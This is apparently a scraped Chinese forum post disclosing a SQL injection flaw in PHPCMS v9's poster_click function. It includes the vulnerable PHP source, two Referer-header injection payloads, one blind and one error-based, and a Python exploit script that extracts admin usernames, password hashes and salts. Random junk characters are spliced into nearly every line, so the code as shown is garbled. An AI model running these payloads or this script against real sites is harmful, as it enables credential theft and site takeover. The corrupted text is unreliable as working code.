有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:
0 a0 d+ r0 l& u/ h K- z
* O" g* j* L, {问题函数\phpcms\modules\poster\index.php- h9 l, }: i) y. O+ X6 C
, Y& p' n9 q, a o! x( S: \public function poster_click() {
% L2 E2 ]- O* s' Z* w6 W9 o% i$id = isset($_GET['id']) ? intval($_GET['id']) : 0;6 m7 }" f# u% M+ ?0 M; E2 V
$r = $this->db->get_one(array('id'=>$id));1 k1 l/ @" C$ s
if (!is_array($r) && empty($r)) return false;/ t( k/ b: H3 g; H2 H0 e7 q
$ip_area = pc_base::load_sys_class('ip_area');( |0 \ C- L" ?/ m" w* F
$ip = ip();& `! f, {! S/ q' J/ C7 A# v
$area = $ip_area->get($ip);; P# k# y8 s6 D5 X$ f N/ ^
$username = param::get_cookie('username') ? param::get_cookie('username') : '';
, a F' @: E& Zif($id) {2 c" s' ^3 p6 K& D2 p
$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
. d% E6 i/ \! f- X/ `$ v/ x$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));" J) Q4 G4 H- U1 F% l' m" c* Y0 T
}
# J! G4 A. k; s) R# y6 i$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));9 }* j6 B1 K. }+ k! S
$setting = string2array($r['setting']);
: W3 x) l8 [$ ]$ \4 y7 U2 ?- Nif (count($setting)==1) {
3 f$ @& d8 u' p( {0 N- ?$url = $setting['1']['linkurl'];! v5 ?) [0 z7 k" N0 u& m" F0 r: N* P
} else {
6 Q: L$ H: j( X7 a$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];" ^: _ d7 K8 C4 V; l! u
}
; l" I; {# Y8 D7 k9 Rheader('Location: '.$url);
/ a" t8 g0 ]% W8 `}
9 [$ @! \7 f9 |- B
2 q# c' _* N& l( w
5 P6 Z! M7 I) h. l! W& R# f
E6 u" @0 P- n# Z$ }利用方式:
! B0 d8 ^% n" o( g9 l3 I' ^* F# U2 w/ v. O
1、可以采用盲注入的手法:. Y* p0 y T) E$ P8 l+ I! g1 F
, p; h! T' B: O. _" K" S( L* P% K: \2 @
referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#1 w, B x5 k( G" _
% k/ w- w2 |& Q5 k. d通过返回页面,正常与否一个个猜解密码字段。
$ a$ @+ [7 k0 L9 |) b1 u% O/ H; w( W
3 p M! `2 y- z! a$ |1 X2、代码是花开写的,随手附上了:6 Y' N, i' ~) l) w# m
0 c2 U" M5 f8 Q: }. I& [" n% C
1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#
' Y8 O9 X4 \& W A
2 a% B1 Q. ~2 o9 H此方法是爆错注入手法,原理自查。
! o$ h9 c9 J: k# ?# _# ?4 O! f' h" w- U- x5 K1 ]3 l
\8 O. K0 H, ?8 H% ~2 R
" Y- S6 v5 F/ N- _" d
利用程序:
( E8 n6 @' D! P; J! d
( Z5 W2 K& g# F0 x2 v#!/usr/bin/env python
- p2 w- r1 Z' q" R! {. jimport httplib,sys,re! C" r3 m& E2 }% c, U* b0 c
5 ]" c2 @* m# O
def attack():
9 X6 r9 u1 H0 M1 k9 @2 zprint “Code by Pax.Mac Team conqu3r!”& t: I9 l' ~9 M. |, }/ H
print “Welcome to our zone!!!”* J% d) r1 z* _$ i9 N
url=sys.argv[1]
) a" Z- ~8 t/ B# d& d0 i' opaths=sys.argv[2]
) k( s8 ^8 b; P: f+ Gconn = httplib.HTTPConnection(url)
0 V9 V9 B6 }. x4 di_headers = {“User-Agent”: “Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5″,
3 w+ a# \2 P0 v6 j“Accept”: “text/plain”,% d3 v' |9 d4 P; z5 V4 y
“Referer”: “1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#”}
/ L/ t3 I# `& k5 m( d+ y U0 N6 qconn.request(“GET”, paths+”/index.php?m=poster&c=index&a=poster_click&sitespaceid=1&id=2″, headers = i_headers)
5 a/ ]; D: Q. Q5 P$ |( Dr1 = conn.getresponse()
3 z, a- P5 C: {, a! e0 Ndatas=r1.read()7 L# S: ?: j; A6 S" R
datas=re.findall(r”Duplicate entry \’\w+’”, datas)
7 {, G( {/ V" K- I7 ]5 rprint datas[0], H) T: o$ @% b
conn.close()/ f l) g8 h0 x8 [9 m9 {
if __name__==”__main__”:
0 v6 O4 P: s; [; g: H1 K) I3 ^ Oif len(sys.argv)<3:
% K0 O) Q( q) {$ W1 vprint “Code by Pax.Mac Team conqu3r”
* d9 f. Z0 z# C" w' G4 pprint “Usgae:”
% |6 M; Q* w5 y* Q; }print “ phpcmsattack.py www.paxmac.org /”
+ U$ x6 R. g( [# g7 [print “ phpcmsataack.py www.paxmac.org /phpcmsv9/”7 \& g9 ]6 s! N
sys.exit(1)
8 m0 R) R' n0 a9 n/ J* A1 Nattack()
{- q& } i5 ]7 d8 [" K
! N2 Y2 m, |1 T1 m' \. q |